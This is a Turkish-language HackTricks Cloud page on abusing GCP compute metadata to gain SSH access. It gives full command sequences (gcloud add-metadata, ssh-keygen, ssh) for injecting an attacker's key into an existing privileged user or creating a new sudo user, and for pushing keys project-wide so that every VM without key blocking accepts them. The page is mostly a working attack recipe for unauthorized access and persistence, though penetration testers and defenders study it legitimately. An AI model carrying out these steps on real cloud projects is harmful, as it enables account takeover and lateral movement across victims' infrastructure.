GCP - Özel SSH Metadata Ekle
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Metadata’yı Değiştirme
Bir örnekte metadata değişikliği, bir saldırgan gerekli izinleri elde ederse önemli güvenlik risklerine yol açabilir.
Özel Metadata’ya SSH Anahtarlarının Dahil Edilmesi
GCP’de, Linux sistemleri genellikle Google Compute Engine için Python Linux Misafir Ortamı üzerinden betikler çalıştırır. Bunun kritik bir bileşeni, yetkilendirilmiş SSH genel anahtarları için örnek metadata uç noktasını düzenli olarak kontrol etmek üzere tasarlanmış accounts daemondır.
Bu nedenle, eğer bir saldırgan özel metadata’yı değiştirebilirse, daemon’un yeni bir genel anahtar bulmasını sağlayabilir, bu da işlenip yerel sisteme entegre edilecektir. Anahtar, mevcut bir kullanıcının ~/.ssh/authorized_keys dosyasına eklenecek veya anahtarın formatına bağlı olarak sudo ayrıcalıkları olan yeni bir kullanıcı oluşturulacaktır. Ve saldırgan, ana bilgisayarı tehlikeye atabilecektir.
Mevcut ayrıcalıklı kullanıcıya SSH anahtarı ekleme
- Örnekteki Mevcut SSH Anahtarlarını İnceleyin:
- Mevcut SSH anahtarlarını bulmak için örneği ve metadata’sını tanımlamak üzere komutu çalıştırın. Çıktıdaki ilgili bölüm
metadataaltında, özelliklessh-keysanahtarı altında olacaktır.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- SSH anahtarlarının formatına dikkat edin: kullanıcı adı anahtarın önündedir ve iki nokta ile ayrılmıştır.
- SSH Anahtarı Metadata’sı için Bir Metin Dosyası Hazırlayın:
- Kullanıcı adları ve bunlara karşılık gelen SSH anahtarlarının detaylarını
meta.txtadlı bir metin dosyasına kaydedin. Bu, mevcut anahtarları korumak için önemlidir.
- Hedef Kullanıcı için Yeni Bir SSH Anahtarı Oluşturun (
alicebu örnekte):
- Hedef kullanıcı adıyla eşleşen yorum alanı (
-C) ile yeni bir SSH anahtarı oluşturmak içinssh-keygenkomutunu kullanın.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Yeni genel anahtarı, örneğin metadata’da bulunan formatı taklit ederek
meta.txtdosyasına ekleyin.
- Örneğin SSH Anahtarı Metadata’sını Güncelleyin:
- Güncellenmiş SSH anahtarı metadata’sını örneğe uygulamak için
gcloud compute instances add-metadatakomutunu kullanın.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Yeni SSH Anahtarı ile Örneğe Erişim Sağlayın:
- Yeni anahtarı kullanarak SSH ile örneğe bağlanın ve hedef kullanıcı bağlamında shell’e erişin (
alicebu örnekte).
ssh -i ./key alice@localhost
sudo id
Yeni bir ayrıcalıklı kullanıcı oluşturun ve bir SSH anahtarı ekleyin
Eğer ilginç bir kullanıcı bulunamazsa, sudo ayrıcalıkları verilecek yeni bir kullanıcı oluşturmak mümkündür:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
Proje Düzeyinde SSH Anahtarları
Proje düzeyinde SSH anahtarları uygulayarak bir bulut ortamında birden fazla Sanal Makineye (VM) SSH erişimini genişletmek mümkündür. Bu yaklaşım, projede açıkça proje genelinde SSH anahtarlarını engellemeyen herhangi bir örneğe SSH erişimi sağlar. İşte özet bir kılavuz:
- Proje Düzeyinde SSH Anahtarlarını Uygula:
meta.txtdosyasındaki SSH anahtarlarını projenin meta verilerine eklemek içingcloud compute project-info add-metadatakomutunu kullanın. Bu işlem, SSH anahtarlarının projedeki tüm VM’ler tarafından tanınmasını sağlar, eğer bir VM “Proje genelinde SSH anahtarlarını engelle” seçeneğini etkinleştirmemişse.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- Proje Genel Anahtarları Kullanarak Örneklerine SSH Bağlan:
- Proje genelinde SSH anahtarları mevcut olduğunda, projedeki herhangi bir örneğe SSH ile bağlanabilirsiniz. Proje genelinde anahtarları engellemeyen örnekler, SSH anahtarını kabul ederek erişim sağlar.
- Bir örneğe SSH ile bağlanmanın doğrudan bir yöntemi,
gcloud compute ssh [INSTANCE]komutunu kullanmaktır. Bu komut, mevcut kullanıcı adınızı ve proje düzeyinde ayarlanmış SSH anahtarlarını kullanarak erişim sağlamaya çalışır.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

